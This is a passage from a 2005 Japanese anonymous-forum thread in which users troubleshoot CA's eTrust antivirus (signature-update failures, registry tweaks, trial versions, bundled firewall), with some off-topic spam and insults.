みるとVETの方が本日付けになっているので新しい様な気がしたのです。

606 :名無しさん@お腹いっぱい。:2005/07/15(金) 20:23:44
>>594
サンクス!成功しました。

607 :名無しさん@お腹いっぱい。:2005/07/15(金) 21:54:29
大切に使ってやってください。日本語化プロモ

608 :名無しさん@お腹いっぱい。:2005/07/16(土) 10:34:48
ログオン時にリアルタイムが起動しなくなりました。
Help見てもよくわからん。

609 :名無しさん@お腹いっぱい。:2005/07/16(土) 13:39:30
C:\Documents and Settings\user\Local Settings内のtempファイル削ったり、
C:\WINDOWS\Prefetch内のRealmon.exe.pf削ったり、レジストリ内のeTrustや
Ino関係、MUICache内のRealmon.exeのデータを消して綺麗な状態で再インスト
ールしてみては。

610 :名無しさん@お腹いっぱい。:2005/07/21(木) 09:44:23
手動で起動できるならスタートアップに
ショートカットをほうりこむという手も。

611 :名無しさん@お腹いっぱい。:2005/07/21(木) 15:25:33
俺もrealmon起動しなくなったことがあったけど、色々試した結果は
serviceのInoRTが起動する前にスタートアップが起動してたからだった

で、そのときはとりあえずStartupEXってソフトでrealmonの起動を遅らせて解決してた。
今はサービスの起動がが遅い原因がDHCP Clientだったからルーターかませて
プライベートIP固定にして使ってる。

612 :名無しさん@お腹いっぱい。:2005/07/21(木) 22:56:00
過去に充てたパッチの一覧がどっかで見られたと
思ったけど、どこでしたっけ?

613 :名無しさん@お腹いっぱい。:2005/07/23(土) 05:04:12
レジストリで分かる
HKEY_LOCAL_MACHINE\SOFTWARE\ComputerAssociates\eTrustAntivirus\CurrentVersion\Patches

614 :612:2005/07/23(土) 23:09:47
>>613
サンクス

615 :名無しさん@お腹いっぱい。:2005/07/27(水) 15:03:30
>606
サーバー2台にインストールしましたが順調に動いております。

616 :名無しさん@お腹いっぱい。:2005/07/29(金) 10:44:42
フリーで鯖にインストールできるのってこれしかないの?

617 :名無しさん@お腹いっぱい。:2005/07/31(日) 14:47:54
日本語トライアル版ってどこで手に入るの?
公式は個人にはあげませんってなってるし。

618 :名無しさん@お腹いっぱい。:2005/07/31(日) 15:43:55
角の雑貨屋か近くのコンビニで手に入るよ
一応、店員に身分証明書を見せてからもらえよな

619 :名無しさん@お腹いっぱい。:2005/08/04(木) 10:49:10
Driver Update 05/07/14
http://supportconnectw.ca.com/premium/antivirus/downloads/nt/4.5/ildrvupdate.asp

いつの間にか更新されてました。


620 :名無しさん@お腹いっぱい。:2005/08/04(木) 11:33:05
>>617
プロモーション版(英語)をインストール後、日本語トライアル版に含まれて
いる日本語化パッチを当てるとプロモーション版(日本語)となる。

621 :名無しさん@お腹いっぱい。:2005/08/04(木) 12:18:18
>>619


622 :名無しさん@お腹いっぱい。:2005/08/04(木) 17:11:52
1年くらいeTrust Antivirus v7 for Windows Promotional Versionを使っているのですが、
最近になってシグネチャがアップデートしなくなってしまいました。
回線を@Freedから光に変え、その際無線LANを導入しました。
パッチ等は主要なものは全て当てています。
ftpサイトは全て試しましたがダメでした。
解決策をご教授いただけないでしょうか。
宜しくお願いいたします。

623 :名無しさん@お腹いっぱい。:2005/08/05(金) 17:12:07
>>622
差分更新しようとしてこけてるかも
Perform Fast Downloadのチェックボックス外してためしてみ
ttp://etavfp.hp.infoseek.co.jp/Signature.html

624 :名無しさん@お腹いっぱい。:2005/08/07(日) 07:27:45
>>619


625 :名無しさん@お腹いっぱい。:2005/08/07(日) 21:51:51


626 :622:2005/08/08(月) 21:21:41
623さん。
アドヴァイスありがとうございました。
リンク先を参考にチェックボックスをはずして見ましたがダメでした。
他自分でもいろいろ考えてみましたがどうにも無理でした。
以下ログを貼っておきます(ログを参照して自分で打ちました)。

Initializing Download
Downloading from FTP site ftpav2003.ca.com.
Error downloading file /pub/inoculan/scaneng/Silist2.txt
The request has timedout.
Error downloading file /pub/inoculan/scaneng/Silist.txt
The connection with the server has been terminated.
Finished downloading from FTP site ftpav2003.ca.com.
Downloading from FTP site ftpav.ca.com.
Error downloading file /pub/inoculan/scaneng/Silist2.txt
The request has timedout.
Error downloading file /pub/inoculan/scaneng/Silist.txt
The connection with the server has been terminated.
Finished downloading from FTP site ftpav2003.ca.com.
Downloading from FTP site ftpz.ca.com.

以上です。
ご教授宜しくお願いいたします。

627 :名無しさん@お腹いっぱい。:2005/08/09(火) 00:11:14
接続環境によっては自動アップデートできないかも。
俺のノートも自宅環境では無線でもアップデートできるのに、
会社の無線環境では何度やってもコケる。

そういうときは、手動のアップデータを使う。

628 :622:2005/08/09(火) 22:35:16
627さん、アドヴァイスありがとうございました。
ttp://www3.ca.com/support/vicdownload/SignDownload.aspx?CID=49737
から手動でダウンロードを試みましたが全く出来ませんでした。
前に一度LANポートから直接ダウンロードを試みたのですがこれもダメでした。
もしかしてもうプロモは使えなくなったのでしょうか。

629 :名無しさん@お腹いっぱい。:2005/08/09(火) 22:50:51
プロモ版ぜんぜん普通に使えてるよ。
eTrustの問題というより、接続の問題なんじゃ?
無線LANが怪しい気がする。
とは言ってもネットは普通につなげててftpでのダウンロードも
普通にできてるとすればもう俺にはわけわかめ。

630 :名無しさん@お腹いっぱい。:2005/08/10(水) 00:03:56
>>628
FTPでの通信できてないんじゃないかな?

パケットフィルタリングソフトや、FW、ルータの設定、
一部のプロバイダのフィルタリングサービスなど。
1度、確認してみたらどうだろうか?

631 :名無しさん@お腹いっぱい。:2005/08/10(水) 18:04:16
よくわかんないけどとにかくちょっと脅かしてみるテスト

最近のウイルスは感染するとca.com他セキュリティベンダーのサイトへの
接続を妨害する素敵な機能がついてたりするのもあるらしい

632 :名無しさん@お腹いっぱい。:2005/08/10(水) 20:27:01
これを前にアンインスコツールいれてアンインスコしたんだ

さっきスクリーンセーバー見てたらこれが入ってるんだがこのソフトはウィルスか?

633 :名無しさん@お腹いっぱい。:2005/08/10(水) 21:09:43
全然誤爆
すまん

634 :名無しさん@お腹いっぱい。:2005/08/10(水) 22:24:13
怖い誤爆だ・・・

635 :622:2005/08/11(木) 18:49:20
629さん、レスありがとうございます。
プロモ版大丈夫でしたか。
前にリンクしていたサポートのページがアドレス変更していたので、
もしかしたらと思ったのですが気のせいでしたね。
とにかく使えることがわかっただけでも力になりました。

630さん、レスありがとうございます。
629さんも指摘されてましたが、私も無線LANの設定が怪しいかなと。
FWはxpとx-guardの両方切ってみましたがダメでした。
プロバイダのセキュリティサービスは使ってないのですが、
フィルタリングサービスがあるか調べてみます。
ちなみにISPは@niftyです。
無線LANはバッファローのWER-AM54G54/PとWLI-CB-AMG54のセットを使っています。

631さん、レスありがとうございます。
(((( ゜Д゜))) ガクガクブルブル
しましたが、バスターのオンラインでは感染なしでした。

皆さんのレスを参考にもう少し粘ってみます。
皆さんのお心遣いに感謝します。

636 :名無しさん@お腹いっぱい。:2005/08/12(金) 01:14:23
サーバーにping打ってかえってくるのか?
FWソフト(XPの設定含む)は全て切ってあるか?
ベクターとか他のサイトでFTPを使ってダウンロードできるか?
アンインストールしてPC再起動後、再度インストールしてみても駄目か?
無線LANを使用しないで有線だと駄目か?

637 :名無しさん@お腹いっぱい。:2005/08/17(水) 00:34:40
617の疑問ってまだ解決してないよね?
結局、みんな日本語トライアルをどこで手に入れたの?
やっぱ適当に情報入力して公式から落としたの?

638 :637:2005/08/17(水) 02:07:48
ごめん。見つかった。
登録しなくてもURLだけで落とせた。

639 :名無しさん@お腹いっぱい。:2005/08/22(月) 17:19:39
>>628
PASVに設定してみたら?
ttp://etavfp.hp.infoseek.co.jp/Signature.html
の一番下に書いてある。

>>638
そのURLはどこで見つけたのかおしえてもらえまいか。orz

しかし、7.0をずっと使う羽目になりそうだよなあ、これ。
シグネチャ永久保証なら製品買ってもいいのに。

640 :名無しさん@お腹いっぱい。:2005/08/22(月) 23:37:02
eTrust、サイトによって検出率が50%台だったり90%台だったり。
いろいろベンキョーさせてもらいました。
ウィルス検出率って何なんだか。

641 :638:2005/08/23(火) 02:37:35
>>639
外国語体験版のURLの一部をJPNに書き換えるだけww
ただ、リファラで弾いたりしてるようなのでダウンローダは必須
つーか、ものすげぇ身近なURLだった

642 :名無しさん@お腹いっぱい。:2005/08/24(水) 02:18:49
636さん、レスありがとうございます。
アドバイスに従い636さんの指摘された点について以下チェックしてみました。

1.サーバーにping打ってかえってくるのか?
C:\Documents and Settings\**********>ping ftpav2003.ca.com.

Pinging ftpav.ca.com [213.35.101.4] with 32 bytes of data:

Reply from 213.35.101.4: bytes=32 time=146ms TTL=47
Reply from 213.35.101.4: bytes=32 time=146ms TTL=47
Reply from 213.35.101.4: bytes=32 time=146ms TTL=47
Reply from 213.35.101.4: bytes=32 time=146ms TTL=47

Ping statistics for 213.35.101.4:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 146ms, Maximum = 146ms, Average = 146ms

2.FWソフト(XPの設定含む)は全て切ってあるか?
FWはxpとx-guardの両方切ってみましたがダメでした。

3.ベクターとか他のサイトでFTPを使ってダウンロードできるか?
出来ました。

4.アンインストールしてPC再起動後、再度インストールしてみても駄目か?
未確認。

5.無線LANを使用しないで有線だと駄目か?
WANをLANボード直付け(ノート)でもダメでした。

643 :622:2005/08/24(水) 02:20:23
639さん、レスありがとうございました。
PASVの件ですがレジストリをみると、
HKEY_LOCAL_MACHINE\SOFTWARE\ComputerAssociates\ScanEngine\Distribute\
の\Distributeのフォルダがありませんでした。
レジストリの生成方法がわからないので私には無理そうです。

改行が多すぎるとの事で連投になってしまいました。
申し訳ありません。

あと少しだけ粘ってみます。
それでも無理なら再インストールすることにします。
皆さんのお心遣いに感謝いたします。

644 :名無しさん@お腹いっぱい。:2005/08/24(水) 10:25:25
>>643

なければ作ればOK
新規>キーでね(レジストリだからフォルダじゃないん)。

同じように、新規>DWORD値で"PassiveFTP"作って1な。

639のwebサイト俺が書いたわけだけど、やっぱ、CAのサポートから
そのまんま引用しただけの文ではPASV化はわかりにくいか

気が向いたらpasv.regファイルでも作っておいておくよ

645 :639:2005/08/24(水) 11:25:37
>>641
おかげで助かりました。
つーか、CAがftpにこだわってるせいでリファラも関係なく
ダウンローダ不要で手に入ることがわかった。

>>596
にも感謝。

インストーラー用のパッチだから画面はでないぞ。>誰とはなく


646 :名無しさん@お腹いっぱい。:2005/08/24(水) 12:57:32
店頭で7.0のパッケージを買ったのですがWin XP x64でリアルタイムスキャンを有効にする方法はありますか?

647 :名無しさん@お腹いっぱい。:2005/08/29(月) 00:00:32
枕連のスポンサーっつーことで何故か信頼してしまうんだけど

648 :名無しさん@お腹いっぱい。:2005/08/29(月) 00:30:40
まだx64には役不足だろ
1年くらいたってからにしろよ、馬鹿

649 :名無しさん@お腹いっぱい。:2005/08/29(月) 00:38:18
《「力不足」の誤用》

650 :名無しさん@お腹いっぱい。:2005/08/29(月) 01:43:25
x64で使うような格ではないという意味なのでx64にとっては「役不足」で正しい

651 :名無しさん@お腹いっぱい。:2005/08/29(月) 02:00:05
その意味だとしても>>648は誤り

652 :名無しさん@お腹いっぱい。:2005/08/30(火) 06:55:08
>>641
わからないっす。

653 :名無しさん@お腹いっぱい。:2005/08/31(水) 00:56:57
>>652
厨房はお帰りください。
馬鹿には、もったいないんだよ。くずやろう。
お前みたいな奴が増えても、邪魔なだけだからな。

654 :名無しさん@お腹いっぱい。:2005/08/31(水) 02:52:30
>>652
馬鹿じゃねーの。
頭が足りねーの。

655 :名無しさん@お腹いっぱい。:2005/08/31(水) 08:15:09
>>653
>>654
すいませんでした。

656 :639:2005/08/31(水) 14:53:14
>>652
>>596さんと>>641さんに感謝しながら、
英語のぐぐるさんに聞けばわかるんじゃないかな。
たぶん。

657 :名無しさん@お腹いっぱい。:2005/08/31(水) 16:56:48
http://www.uk.com/
ここに飛ばされてしまうぜ。


658 :名無しさん@お腹いっぱい。:2005/08/31(水) 18:10:39
円広志

659 :名無しさん@お腹いっぱい。:2005/09/01(木) 02:42:07
>>657
俺もやってみたけど、そこに飛ばされる。
jpnだよね?
対策でもされたのかな?

660 :641:2005/09/01(木) 14:19:20
俺が見つけたURLからは今でも落とせるようだけど。対策とは違う

余談ですが>>645が訂正してくれた通り、ftpはリファラ関係ないようです。
リファラの正式名称がHTTP_REFERERだとは知らなかった…

661 :名無しさん@お腹いっぱい。:2005/09/01(木) 16:04:29
ttp://internet.watch.impress.co.jp/cda/news/2005/09/01/8991.html
セキュリティ対策ソフト「eTrust インターネット セキュリティ スイート 2006」を9月7日に発売する。

662 :名無しさん@お腹いっぱい。:2005/09/01(木) 21:08:53
>>660
なるほどありがとです。
urlなかなか難しい。
見てるところ自体が違うのかも・・・

663 :名無しさん@お腹いっぱい。:2005/09/01(木) 22:44:08
ここに
2005年9月7日(水)よりCAストア(http://www.store.caj.co.jp)にて販売いたします。
なお、CAストアでは、30日間無償トライアル版ダウンロードサービスも開始します。

ttp://www.caj.co.jp/press/2005/09/pf2006_iss2006.htm

664 :名無しさん@お腹いっぱい。:2005/09/02(金) 11:59:39
いまさらながら、シグネチャダウンロードできない人へ
1. 下から5行をメモ帳に貼り付ける
2. "PASV.reg"という名前で保存("も入力すること)
3. ダブルクリック
これでダウンロードできるようになると思います

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\ComputerAssociates\ScanEngine\Distribute]
"PassiveFTP"=dword:00000001


665 :名無しさん@お腹いっぱい。:2005/09/03(土) 08:04:33
>>663
ありがd
パーソナルファイヤーウォールが出るのを待ってました。
アンチウイルスユーザー向けの特別価格があるといいなあ。

666 :名無しさん@お腹いっぱい。:2005/09/03(土) 13:46:59
なさそうな悪寒

667 :名無しさん@お腹いっぱい。:2005/09/06(火) 23:18:28
そうかも〜
いまだに宣伝メールも来ない

668 :名無しさん@お腹いっぱい。:2005/09/09(金) 13:00:49
>>665
今更言うまでもなかろうが、ニュース漁ってみるとスクリーンショットからして
相変わらずZoneAlarmっぽいな。OEMでカスタマイズしてるだろうけど。

669 :名無しさん@お腹いっぱい。:2005/09/09(金) 15:24:18
>>668
ありがとうございます。まったく知りませんでした。
優待とかキャンペーンとか特にないって
サポートの方にきいたのですが、そういうことなら
納得です。

670 :名無しさん@お腹いっぱい。:2005/09/10(土) 13:20:38
OEMでカスタマイズか・・・Zone使ってるからいいや

671 :名無しさん@お腹いっぱい。:2005/09/10(土) 15:55:03
インターネット セキュリティ スイート買いましたよ
ファイアーウォールって、これZoneAlarmじゃねえか

672 :名無しさん@そうだ選挙に行こう:2005/09/10(土) 23:03:55
カスタマイズっつうてもせいぜい
・メッセージダイアログの表示プログラム名変更
・ライセンス認証やアップデート、開発元ホームページの接続先変更
・インストール直後の初期設定
ぐらいだろうけど。さすがにZoneAlarm Pro(有料版)の機能は持ってるだろうし。

ちなみにZoneAlarm無料版入れたマシンにeTrustアンチウイルスの一ヶ月評価版入れたら
eTrustのインスコ時にZoneAlarmの接続許可リストへ自動的に登録してくれるという
親切なんだか迷惑なんだかよくわからん動きしてくれた。
この辺は関係が深いメーカーならではだな。

673 :名無しさん@そうだ選挙に行こう:2005/09/10(土) 23:57:02
パーソナルファイヤーウォールはあんまり売る気ないんだねえ。
製品の詳細が知りたいのに載せてない。
おまけにOperaで見るとページがおかしい。
サポートに問い合わせした時に、IEだとちゃんと見えるけど
Operaだとおかしいって伝わったはずなのに
直す気ないみたいだし。

でも買うとしたらZoneAlamProより安いよね。

674 :名無しさん@そうだ選挙に行こう:2005/09/11(日) 01:04:57
>>673
安いけど、ZoneAlarmスレによるとバージョンは5.5系らしい(英語版の最新は6.0系)。
まあ本家日本語版の最新も5.5系だから順当と言えば順当だけど。

675 :名無しさん@そうだ選挙に行こう:2005/09/11(日) 03:10:57
本家でもアンチウィルスモニタリング対応してるからな

676 :名無しさん@そうだ選挙に行こう:2005/09/11(日) 04:20:15
>>673
ページがおかしいって、「カートに入れる」の下に英語のダウンロード購入+バックアップCDリンクが
%で挟まれて表示されてるのか?
それだったらFireFoxもOperaと同じように表示されてるな。
IEのみサポートしてますページだな(;´Д`)

677 :673:2005/09/11(日) 08:26:06
>>676
それです。主な機能の下に「製品のより詳しい情報」って見えるんで
クリックすると、なんでかアンチスパムの紹介が出ます。
それでパーソナルファイヤーウォールの紹介が出ないよ、って
サポートへ電話したが話がなかなか通じない。
「製品のより詳しい情報」リンクは表示されないって。
それで気づいてIEで見たら、相手の言ってることがわかった。

678 :名無しさん@お腹いっぱい。:2005/09/11(日) 13:41:52
eTrustファイアウォール=ZoneAlarm
って認識で宜しいかな?

679 :名無しさん@そうだ選挙に行こう:2005/09/11(日) 13:55:00
>>678
話の流れから他の解釈が可能というなら教えて欲しい

680 :名無しさん@お腹いっぱい。:2005/09/12(月) 00:48:02
eTrust EZ Armorインストしたら全てのdesktop.iniとThumbs.db
が表示されるようになった・・・・・
再インストかよ・・・・・

681 :名無しさん@お腹いっぱい。:2005/09/12(月) 00:50:36
つ ttp://www.hi-net.zaq.ne.jp/kobej/deai/

もっとここを盛り上げたいので私のホムペに来てください。
絶対に荒らさないで下さい<(_ _)>

682 :680 :2005/09/12(月) 00:53:46
eTrust EZ Antivirus これだった。

683 :名無しさん@お腹いっぱい。:2005/09/12(月) 12:40:47
eTrust アンチウイルス評価版をインストールして数日経ったが・・・
確かに普段の負荷は軽い。
でもイベント発生時、特にアプリ起動時とか圧縮ファイルのコピー/移動とかの時は
逆に他ソフトと比べても操作に対する反応が鈍くなるように感じる。
気のせいかな。他に同じように感じてる人居ない?

684 :名無しさん@お腹いっぱい。:2005/09/12(月) 14:32:20
今7.1使ってるのですけど
2005に変更する利点って何かあるでしょうか?
ウィルスパターンは更新できるし

685 :名無しさん@お腹いっぱい。:2005/09/12(月) 17:36:56
>>683
あ、スマソ。
eTrust アンチウイルス2005の無償30日評価版ね。

686 :名無しさん@お腹いっぱい。:2005/09/14(水) 22:54:10
私は7.0ですよ。プロモで十分です。

687 :名無しさん@お腹いっぱい。:2005/09/14(水) 23:11:33
ただ、7.0プロモだとリアルタイムでトロイ削除出来ない。「感染しています。」
でオシマイ。トホホ… ログ見て削除。うーん。やっぱりavastPROに戻ろう
かな。無料のシリアルナンバー持っているので。

688 :名無しさん@お腹いっぱい。:2005/09/15(木) 09:36:40
>>687
てかさ、トロイに感染すること自体アレでないかと思う。

689 :名無しさん@お腹いっぱい。:2005/09/15(木) 12:34:37
Realtime Driver Updates
Driver Update1390302N/A09/14/05Latest Realtime Driver Update for Intel and Alpha

http://supportconnectw.ca.com/premium/antivirus/downloads/nt/4.5/ildrvupdate.asp

690 :名無しさん@お腹いっぱい。:2005/09/15(木) 12:46:07
>>689


691 :名無しさん@お腹いっぱい。:2005/09/18(日) 19:53:41
秋葉のヨドバシの広告に載ってるね

692 :名無しさん@お腹いっぱい。:2005/09/18(日) 20:16:41
と思ったらスパイウェア対策の方だった
スマソ

693 :683:2005/09/18(日) 22:35:22
アンチウイルスの価格調べてみると、直販サイトのダウンロード購入よりパッケージ版買った方が安いから
地元ショップの価格確認しようと思って捜してみるとアンチスパイウェアはあってもアンチウイルスは無いんだよなorz

半分買う気になってたんだけど、見つからないうちに>>683の問題が凄く気になりだしたから
ウイルスバスターに戻しちまったよ(´・ω・`)

694 :名無しさん@お腹いっぱい。:2005/09/20(火) 10:59:45
http://www.caj.co.jp/press/2005/06/tiny.htm

Tiny買収

695 :名無しさん@お腹いっぱい。:2005/09/20(火) 11:27:12
これでZAのOEMじゃなくなるのかな

696 :名無しさん@お腹いっぱい。:2005/09/20(火) 22:46:31
なんか買収続いてる?こないだSygateがノートンに買収されてたし。
まぁSygate使いで行き場がなくなってたのでこの発表は正直嬉しい。

697 :名無しさん@お腹いっぱい。:2005/09/21(水) 15:31:53
>689の050914版を当てると、
うちの環境(w2ksp4+UR1v2)ではアプリ強制終了頻発、
遅延書き込みエラーにSTOP ERROR 0x0000000A まで起こってもうた。
とりあえず一つ前のに戻して様子見中。

698 :名無しさん@お腹いっぱい。:2005/09/22(木) 21:42:17
上の方で騒がれてたCAのサイト、コメントアウトの構文が間違ってるな。
本来なら<!--コメント-->なのに、<%--コメント-->になってる。
これじゃ誤動作するわけだ。
それにしてもIEはこの形式でも動作するのか…。

699 :673:2005/09/23(金) 08:38:32
>>698
今、見たら少しだけ直ってました。
「カートに入れる」の下に英語のダウンロード購入リンクが表示されていたけど
消えました。
<%--
--%>
が「主な機能」と「関連ページ」の上に表示されておかしくなってますけど
そちらは直ってません。

700 :名無しさん@お腹いっぱい。:2005/10/03(月) 13:40:10
閑散・・・。使ってる人少ないのかな?

701 :名無しさん@お腹いっぱい。:2005/10/03(月) 13:49:52
ノシ

702 :名無しさん@お腹いっぱい。:2005/10/03(月) 14:03:50


703 :名無しさん@お腹いっぱい。:2005/10/03(月) 15:21:52
いやいや、安定してるから
問題ないから
特別報告することも無いだけだよ

704 :名無しさん@お腹いっぱい。:2005/10/03(月) 15:48:58
もち、なんの不具合もなく使ってるんだが。

InoculatelT 23.70.54 2005/10/02
Vet 11.9.9428 2005/19/30

avh 23.70 0 2005/07/26
virsig.dat 23.70 0 2005/08/09
virsig.da0 23.70 54 2005/10/02

で良いのかな?


705 :名無しさん@お腹いっぱい。:2005/10/03(月) 15:53:04
>>704
それでOK

706 :名無しさん@お腹いっぱい。:2005/10/03(月) 16:03:06
>697の症状ってうちだけか…
04/02/27版で同じようなトラブルに見舞われた時は結構同じ症状の人がいたんだが。

707 :名無しさん@お腹いっぱい。:2005/10/03(月) 16:07:07
>>706
俺はまだUR当ててない

708 :名無しさん@お腹いっぱい。:2005/10/03(月) 16:20:31
>>706
XP sp1,sp2 では共に無問題

709 :名無しさん@お腹いっぱい。:2005/10/03(月) 17:53:54
コンピュータ・アソシエイツの個人向けセキュリティ製品4種を
プラネックス製品にバンドル開始
ttp://www.planex.co.jp/product/etrust/index.shtml
90日間トライアルだけどね

710 :名無しさん@お腹いっぱい。:2005/10/03(月) 19:18:04
>>706
2k(URV2)、XPPROとも全く問題なし

711 :名無しさん@お腹いっぱい。:2005/10/06(木) 07:32:45
706ですが…
今回はマシンの不具合だったわ。
一昨日昨日とデータ化けがやけに多いんで調べたら
メモリが1枚逝ってました。
お騒がせして申し訳ない。

712 :名無しさん@お腹いっぱい。:2005/10/08(土) 22:58:17
対応しているウイルスのリストって表示できますか?

713 :名無しさん@お腹いっぱい。:2005/10/09(日) 23:56:57
ttp://www3.ca.com/securityadvisor/virusinfo/browse.aspx

714 :712:2005/10/10(月) 01:02:59
>>713
ありがとうございます。
ソフトもHPも探したんですが発見できなかった・・・。

NETSKY.Pメールがたま〜〜に来る程度なんだけど
最新ウイルスへの対応がどのくらいなものか
知りたくて。
お世話様でした。

715 :名無しさん@お腹いっぱい。:2005/10/18(火) 16:50:55
このソフトとZAで両方英語だけど、一応問題ないんだろうと思ってる
漏れは楽天家ですか?

716 :名無しさん@お腹いっぱい。:2005/10/18(火) 17:08:17
ナカーマ

717 :名無しさん@お腹いっぱい。:2005/10/20(木) 15:54:27
オススメソフト まとめ (´∀` )
ブラウザ  :      sleipnir
地図閲覧:プロアトラスSV プロアトラスSV 航空写真
年賀状作成  :    筆まめ ver16
ダウンローダ:      Irvine 1.09以降
テキストエディタ:    TeraPad Ver0.82←このバージョンが絶対 (・∀・)イイ!!
セキュリティソフト:   キングソフトインターネットセキュリティ2006
環境設定:        いじくるつくーる7.41.04 X-TUNE
ユーティリティ:      WinExChange
デフラグ :         すっきりデフラグ 4.60.02以降!!!!
PDF作成:        クセロPDF ;Ver.1.12以降
ツールバー :  エキサイトバー, BIGLOBE ツールバー Vector Toolbar
         Mapion Toolbar



718 :名無しさん@お腹いっぱい。:2005/10/20(木) 19:06:42
     ∩___∩
     | 丿     ヽ
     /  ○   ○ |  
     | U  ( _●_)  
    彡、    |∪ |.,,/  
    /      ヽノ ″   
   |´  丶 ヽ  ヽヽ   
    r    ヽ、__) (_丿   
    ヽ、___   ヽ ヽ   _ガシャン
    と____ノ_ノ .(__(_)・。;o・



719 :名無しさん@お腹いっぱい。:2005/10/21(金) 17:52:30
私もeTrust入れました。
このスレを参考に致します。
みなさんよろしくです。

720 :名無しさん@お腹いっぱい。:2005/10/21(金) 19:14:12
↑最後の言葉集ガイドラインからのコピペ

721 :名無しさん@お腹いっぱい。:2005/10/22(土) 07:40:35
CAストアのスパイウェアスキャンでメディアプレイヤークラッシクがスパイウェア扱い……

722 :名無しさん@お腹いっぱい。:2005/10/22(土) 14:12:29
それは、別ユーザーでログオンした場合にも、mpcの履歴を見られてしまうから。
スパイと言うよりも、セキュリティリスクって事だろうな。

723 :721:2005/10/22(土) 14:50:44
>>722
そう言う意味でした。
ご助言、感謝です

724 :名無しさん@お腹いっぱい。:2005/10/23(日) 05:41:48
ノートンがあれなんで乗り換え先探してるんですが、eTrustって軽いっすか?

725 :名無しさん@お腹いっぱい。:2005/10/23(日) 12:29:34
>>724
嵌るよ!

726 :名無しさん@お腹いっぱい。:2005/10/23(日) 12:38:30
>>724
ノートンよりずっといいよ
ていうか、ノートンになれてたら、CAじゃなにもしてくれない(物足りない)と
勘違いするかもしれないけどね。

727 :(゚ω ゚) ◆JosoBYcWOU :2005/10/23(日) 19:03:06 ?#
質問シマス(゚ω ゚)

プロモ版を使ってますが、クライアントバージョンだと思うけど、バージョン情報で見ると

バージョン: 7.0.0405

とナッテマスガ最新でしょうか?(゚ω ゚)

あと、.CAZのパッチの当て方が解りません(゚ω ゚)

ヨロシクオネガイシマス(゚ω ゚)

728 :名無しさん@お腹いっぱい。:2005/10/23(日) 19:58:58
バージョン7.1501だろ

729 :名無しさん@お腹いっぱい。:2005/10/24(月) 12:08:30
プロモは:7.0.405

730 :名無しさん@お腹いっぱい。:2005/10/24(月) 15:48:14
>>727あと、.CAZのパッチの当て方が解りません(゚ω ゚)

1.まず、一時フォルダを作っる。
2.必要なxxx.cazをダウンロードする。(1.一時フォルダに入れる)
3.次にしてCAZIPXP.EXEファイルをDLしする。(1.一時フォルダに入れる)
4.xxx.cazをドラックしCAZIP.EXEにドロップする。(インストが始まる)
5.これで完了。
6.最後に要らなくなった一時フォルダを削除。
  (ダウンロードしたCAZ等残したい人は各自保管庫をへ)
※圧縮ファイルでダウンロードした場合はちゃんと解凍してしてから始めてください。

とまぁ、こんな感じでいけたと思う。(゚д゚)ウマー


731 :名無しさん@お腹いっぱい。:2005/10/24(月) 18:53:30
オススメだよ (´∀` )
ブラウザ  :      sleipnir
地図閲覧:プロアトラスSV プロアトラスSV 航空写真
年賀状作成  :    筆まめ ver16
ダウンローダ:      Irvine 1.09以降
テキストエディタ:    TeraPad Ver0.82←このバージョンが絶対 (・∀・)イイ!!
セキュリティソフト:   CA eTrust or キングソフトインターネットセキュリティ2006
環境設定:        いじくるつくーる7.41.04 X-TUNE
ユーティリティ:      WinExChange
デフラグ :         すっきりデフラグ 4.60.02以降!!!!
PDF作成:        クセロPDF ;Ver.1.12以降
ツールバー :  エキサイトバー, BIGLOBE ツールバー Vector Toolbar
         Mapion Toolbar



732 :名無しさん@お腹いっぱい。:2005/10/24(月) 21:15:32
そういえば、先週末にPestPatrolが発売とかHPにあったけど
インターネットセキュリティスイートに含まれているのとは違うのかな?

733 :名無しさん@お腹いっぱい。:2005/10/24(月) 22:21:34
PestPatrolアンチスパイウェアを購入、スキャンしてみた。
すんげぇ速い。Ad−AwareSE1.06で6分かかって105000くらいファイル数表示されてたのに、5秒で終わり2500くらいしかファイル数表示されない。大丈夫か、これ?

734 :名無しさん@お腹いっぱい。:2005/10/24(月) 22:41:29
>>733
スパイウェアに対する危機感が元々ないのでよくわからんが、
1万以上も警告(?)するソフトの方が高機能なのか?

735 :名無しさん@お腹いっぱい。:2005/10/24(月) 23:43:38
>>734 説明不測でスマソ。ファイル数というのはスキャンしたファイル数の事です。
 少し弄ってみてわかった事はこのソフトはAd−Awareとは全くシステムが違っていて標準スキャンが感染しやすい箇所に絞って要点的にスキャンする事と、全体スキャンがカスタマイズスキャンである事です。

それでもスキャンファイル数はAd−Awareの7割程度のようです。

736 :名無しさん@お腹いっぱい。:2005/10/25(火) 01:06:13
>>733 訂正 2500⇒25000

737 :(゚ω ゚) ◆JosoBYcWOU :2005/10/25(火) 16:02:50 ?#
>>730
サンクス!(゚ω ゚)

試してみます(`・ω・´)

738 :名無しさん@お腹いっぱい。:2005/10/25(火) 16:43:48
733死ね

739 :名無しさん@お腹いっぱい。:2005/10/25(火) 19:08:50
ノートンのスレ見てバカなやつらとほくそえんでいますよ

740 :名無しさん@お腹いっぱい。:2005/10/26(水) 19:25:07
>733

ウイルスに感染してます。
相手にしないように、厳命です。

741 :名無しさん@お腹いっぱい。:2005/10/27(木) 15:16:24
オンボロPCを使っていて、Nortnnの期限がソロソロ切れるので軽いアンチウィルスソフトを探しています。
eTrustが、Nortonより重いことはないのでしょうが、AVGやAvastと比べてどのような物でしょうか?
教えてもらえると、大変嬉しいです。



742 :名無しさん@お腹いっぱい。:2005/10/27(木) 19:51:38
avg7.1と同等の軽さです。

ノートンの十分の一ぐらいです。

743 :名無しさん@お腹いっぱい。:2005/10/27(木) 20:28:19
>>742さん
お返事ありがとうございます。
そんなに軽いのですか
色々調べて導入してみようと思います


744 :名無しさん@お腹いっぱい。:2005/10/28(金) 13:05:51
eTrustは軽くないだろ
ノートン級だと思うがw

745 :名無しさん@お腹いっぱい。:2005/10/28(金) 23:53:33
>>741
eTrustR EZ Antivirus 2005(英語・12ヶ月無料版)
使ってるけどかなり軽い。
PU266Mz 128MB でストレスなく動く。

746 :741:2005/10/29(土) 02:18:44
>>744さん745さん 
某所の掲示板でeTrustR EZが軽いという話題を読み
情報を集めに戻ってきたところです。
相当軽そうです良さそうですね。
情報ありがとうございます。

747 :名無しさん@お腹いっぱい。:2005/10/29(土) 17:10:52
>>741
eTrustR EZ Antivirus 2005(英語・12ヶ月無料版)は
